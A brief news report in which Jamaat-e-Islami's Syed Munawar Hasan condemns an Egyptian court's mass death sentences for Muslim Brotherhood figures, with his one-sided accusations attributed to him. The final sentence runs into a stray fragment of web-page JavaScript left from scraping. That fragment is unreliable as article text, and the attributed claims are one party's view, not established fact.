LAHORE: The Ameer, Jamaat e Islami (JI), Pakistan, Syed Munawar Hasan, has vehemently condemned an Egyptian court’s decision awarding death sentence to the Akhwanul Muslimoon chief Dr Muhammad Badie and 528 other prominent political and religious personalities on false charges.

In a statement here on Monday, he said that General Sisi, after toppling Egypt’s first democratically elected Islamic government, had plunged the country into bloodshed and destruction at Israel’s behest.

The JI chief said that the death sentence announced to the elderly Al Ikhwan chief, Speaker of the Egyptian National Assembly, besides political and religious leaders and workers after only two days hearing, was most shameful for the entire humanity, murder of justice and fair play. Such a hasty decision meant there was jungle law in the world.

Syed Munawar Hasan asked the US, the world community and Human Rights bodies advocating end to death sentence, why were they silent on this tyranny and oppression in Egypt. He warned that if the world community did not take notice of this gross injustice, this would imply that it (world) was a party to the tyranny being perpetrated by the Egypt’s military dictator.

The JI chief paid rich tributes to the Egyptian people and urged them to continue their struggle against tyranny and oppression. He was sure that this decision of the Egyptian court would prove the last straw on the camel’s back, all the oppressed and innocent people would be victorious and Egypt would regain its high position in the Muslim world.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
